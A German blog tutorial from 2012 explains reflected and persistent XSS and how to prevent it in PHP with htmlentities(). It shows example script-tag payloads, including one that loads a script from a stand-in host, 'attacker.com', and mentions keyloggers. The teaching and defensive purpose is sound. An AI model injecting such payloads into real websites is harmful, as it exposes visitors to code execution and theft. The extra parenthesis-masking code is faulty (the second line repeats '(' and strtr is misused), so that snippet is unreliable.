Dienstag, 24. Juli 2012

XSS Cross Site Scripting Verhindern und Verstehen Gegenmaßnahmen

XSS oder Cross Site Scripting ist eine Angriffs Methode auf WebApps die dazu führt,
dass ein Angreifer HTML/CSS oder JavaScript Code in die Website injizieren kann.


Es gibt 2 Arten von XSS Vulnerabilities ( = Verwundbarkeiten )
- Reflected bzw Non-Persistent XSS ( = reflektiertes / nicht beständiges XSS )
- Persistent XSS ( = beständiges XSS )






Persisten XSS:

Ein Angriffsbeispiel für Persistent XSS ist die Kommentarfunktion einer Internetseite.
Wenn dort zusätzlich zum Kommentar eine JavaScript Funktion angefügt wird, wird das JavaScript jedesmal ausgeführt wenn ein Website Besucher diesen Kommentar angezeigt bekommt.


Beispiel: Kommentar schreiben: | Beispielkommentar <script>alert("XSS Erfolgreich");</script> |
Neben dem Text Beispielkommentar wird noch der HTML Tag <script> angefügt, in dem JavaScript Code ausgeführt wird. In diesem Fall wird mit alert(); eine MessageBox aufgerufen die "XSS Erfolgreich" ausgibt.


Da dieser Kommentar immer angezeigt wird wenn die Kommentar Sektion der Website aufgerufen wird, bezeichnet man dieses XSS Beispiel als Persistent also beständig.






Reflected / Non-Persistent XSS:

Als reflektiertes bzw nicht beständiges Cross Site Scripting werden Angriffe bezeichnet,
die auf einen speziell preparierten Link angewiesen sind. Dazu werden die GET-Parameter manipuliert.


Beispiel: Suche | Hallo |
Sobald man die Suche abschickt wird man weitergeleitet auf zb. example.com/search.php?suche=Hallo
Der Suchbegriff, in diesem Fall "Hallo" wird via GET-Parameter an das PHP-Script search.php übergeben.
Die Ergebnisse werden ausgegeben und über den Ergebnissen steht zb " Suchergebnisse für 'Hallo'. "
Genau hier liegt der Ansatz für Reflected XSS.


Wenn der Suchbegriff "Hallo" erweitert wird zu "Hallo<script>alert("XSS");</script>
,dann wird beim Titel "Suchergebnisse für 'Hallo'." hinter dem Suchbegriff das JavaScript gestartet.


Weil dieser XSS-Angriff nur über die URL example.com/search.php?suche=Hallo<script>alert("XSS");</script> zu erreichen ist, muss der Link zb durch Email-Spreading (Phishing Mails) verbreitet werden, damit der Angriff jemanden erreicht.




Angriffsszenarien:

In den zwei Beispielen wurde jeweils nur eine MessageBox geöffnet.
Über eine XSS-Lücke kann man aber noch einiges mehr anstellen.
Fügt man anstatt <script>alert();</script> den Code 
<script src="attacker.com/xss-script.js"></script> ein,
wird eine JavaScript-Datei vom Webserver des Angreifers geladen und ausgeführt.


In dieser kann ein Angreifer jeden beliebige JavaScript Code ausführen.
Vom ersetzen des Seiteninhalts bis zum versteckten KeyLogger/MouseLogger ist hier so einiges möglich.


XSS-Angriffe sind nur so lange aktiv bis der Besucher die Seite wechselt, weil dann das infizierte JavaScript nicht mehr ausgeführt wird. Ein Angreiffer kann aber Gegenmaßnahmen ergreifen,
sodass bei allen weiteren Link-Aufrufen das JavaScript im Hintergrund weiterläuft.






Gegenmaßnahmen:

Hier zeige ich nun wie man XSS Verhindern kann mit PHP-Beispiel Code.

Ziel ist es die HTML Tags so zu verändern, dass diese bei der Ausgabe im Browser nicht mehr als HTML interpretiert werden.
Dazu gibt es HTML Entities (Hier eine Liste: http://unicode.e-workers.de/entities.php).


Wenn man beim <script> Tag das < und > zeichen als HTML Entity speichert bzw ausgibt
( < = &lt; und > = &gt; ), interpretiert der Browser den Input nicht mehr als HTML.


In PHP gibt es dazu die Methode htmlentities().
Als Beispiel die Suche:
<?php
$suchbegriff = htmlentities($_GET["suche"]);
... 
echo "Suchergebnisse für '" . $suchbegriff . "'.";
...
?>
Dadurch wird der Suchbegriff mit Entities maskiert und entschärft.


Zusätzlich ist zu empfehlen ")" und "(" zu maskieren, um Angriffe auf Events und Link Locations zu entschärfen.
<?php
$suchbegriff = htmlentities($_GET["suche"]);
$suchbegriff = strtr($suchbegriff, "(", "&#x0028;");
$suchbegriff = strtr($suchbegriff, "(",  "&#x0029;");
?>


Grundsätzlich gilt bei jedem Input den ein User in einer WebApplication machen kann gehören die Strings maskiert um XSS zu vermeiden. Das gilt für GET & POST - Daten.


Hoffe ich konnte ein bisschen weiter helfen!
Greetz

Keine Kommentare:

Kommentar veröffentlichen